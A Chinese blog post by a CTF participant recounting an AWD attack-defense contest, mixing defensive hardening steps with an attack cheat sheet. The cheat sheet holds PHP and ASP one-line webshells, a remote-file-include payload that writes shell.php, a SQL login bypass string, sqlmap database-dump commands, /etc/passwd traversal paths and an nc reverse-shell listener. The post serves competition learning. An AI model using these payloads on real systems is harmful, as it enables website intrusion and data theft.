AWD

記錄一下自己最近參加的線下攻防比賽，沒時間學習了，就準備了幾天，果然不出意外的被安全專業的大佬打得很慘。

缺點是不會攻擊，我和我隊友兩個人就只有防，AWD防了400分，綜合滲透拿了200分。

感覺自己的知識欠差很多，程式碼審計能力弱，寫指令碼能力弱，sql注入我一直學不會。最重要的是比賽前沒有真正練習過，所以比賽時才沒把技能發揮出來。謹記：多實踐，學好程式碼審計，sql注入，手動寫指令碼！！

比完賽才對這兩種比賽模式有了清晰的瞭解。

AWD就是每隊有自己要維護的幾臺linux靶機，為低許可權或者www許可權，對自己的網站進行防守，對他人進行攻擊。

綜合滲透分外網，內網，專網，需要先滲透外網，在讓外網作為跳板機訪問內網，專網。

給了兩個靶機是永恆之藍漏洞，但比賽時沒想到，就沒法做，還有一臺直接ssh登陸，就有幾個flag。

比賽特別好，服務特別好，邊打比賽，還有水果吃，住的賓館，伙食很棒。對這次比賽滿意，也漲了很多經驗，督促自己如何去學習。下面是比賽時的原始碼。內附很多比賽之前看的網站，

一、ssh登陸，修改密碼超級複雜，mobaxterm，xshell。

     普通使用者提權成root，根據kernel版本號找到對應的poc，exp提權。

二、下載原始碼，備份，/var/www/html 目錄，mobaxterm，winscp，xftp等。

三、預留後門，御劍，k8飛刀，D盾，掃描目錄，發現後門，註釋程式碼。

四、修改資料庫密碼,

> mysql -u root -p

Show databases;

use mysql;

set password for [email protected] = password('123');  或者

update user set password = PASSWORD('要更換的密碼') where user = 'root';

flush privileges；

show tables；可能有flag。

select * from typecho_flag;

五、關閉不必要的埠，要求的服務埠不能關，

netstat -napt

kill -9 PID 殺掉程序

nmap -sV ip地址（-sV引數可以探測目標主機的伺服器版本）

nmap掃描對方開啟的埠，21,22，21,3306，進行爆破，msfconsole進入metasploit ，，，

六、程式碼審計  seay原始碼審計好用，

常見漏洞：一句話木馬，SQL注入、檔案包含、檔案上傳，越權訪問，命令執行。

1. 一句話木馬

防：vim自己的網站php檔案，註釋掉一句話木馬，

<?php @eval($_REQUEST['c']); ?>     <?php @eval($_POST['c']); ?>

asp的一句話是：<%eval request("xx")%>

沒有限制檔案上傳型別，允許後門上傳

攻：菜刀連線一句話木馬所在php的網站路徑，輸入密碼，即可進入到後臺，獲取網站目錄，進而上傳大馬，獲取最高許可權webshell。

沒有的話，自行網站檔案上傳一句話木馬，對檔案型別有限制的話需要BurpSuite抓包，修改content type image/php,根據返回的路徑，連線菜刀。

許可權維持：1.不死馬， 2. nc反彈shell  nc -lp 9999

1. SQL注入漏洞

（1）使用者登入，輸入’測試存在sql注入點，萬能密碼 ' or 1='1   弱密碼 admin/admin  火狐外掛hackbar

select name,pass from tbAdmin where name='' or 1='1' and pass='123456'

（2）啊D掃描網站sql注入點，sqlmap注入，

比賽時Access資料庫注入點：

sqlmap -u "url"  檢視系統，版本

sqlmap -u "url" --dbs 爆資料庫

sqlmap -u "url" --tables -D ctf 爆表

sqlmap -u "url" --column -D ctf -T users 爆列

sqlmap -u "url" --dump -D ctf -T users "user_name,user_pass"  爆欄位

網站資料庫密碼資訊檔案一般放在config.php中。

3.檔案包含

（1）本地檔案包含

localhost/a.php?file=/flag.txt

（2）遠端檔案包含

localhost/a.php?file=http:ip/echo.txt

利用，上傳一句話木馬

echo.txt 檔案內容，會生成shell.php  內容為一句話木馬。

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xx]);?>");?>

常見的檔案包含函式，include()，include_once()，require()，require_once()

幾種經典的測試方法：

?file=../../../../../etc/passwd  長目錄截斷

?page=file:///etc/passwd   讀取敏感檔案

?home=main.cgi

?page=http://www.a.com/1.php

4.越權訪問  allow_url_fopen  =ON， allow_url_include =ON

水平越權：修改id，訪問他人

垂直越權：知道管理後臺的url，通過訪問，提升許可權，獲取資料。

/admin/upload/config.php  越權訪問，無需登陸，直接顯示 

1. 命令執行漏洞 

直接呼叫作業系統命令，常見php函式system，exec，shell_exec

七、網站防禦

上WAF，檔案監控，安全狗， 

在檔案頭寫上，require_once(‘waf.php’);

八、日誌分析，根據自己攻擊payload去攻擊他人。

寫指令碼批量拿flag。

綜合靶場

Nmap掃描靶機，檢視系統，metasploit 漏洞利用，根據相應的系統核心漏洞，提權，

獲取後臺密碼，登入後臺，根目錄下flag

建立新使用者，新增到管理員組，遠端目標靶機。

可能存在flag的位置：

1. 御劍掃描，雙擊網頁開啟，存在flag。
2. ssh登陸，系統根目錄下，/var/www/html下
3. mysql資料庫欄位中。
4. 遠端主機桌面，資料夾下。

==================網站合集====================

=============================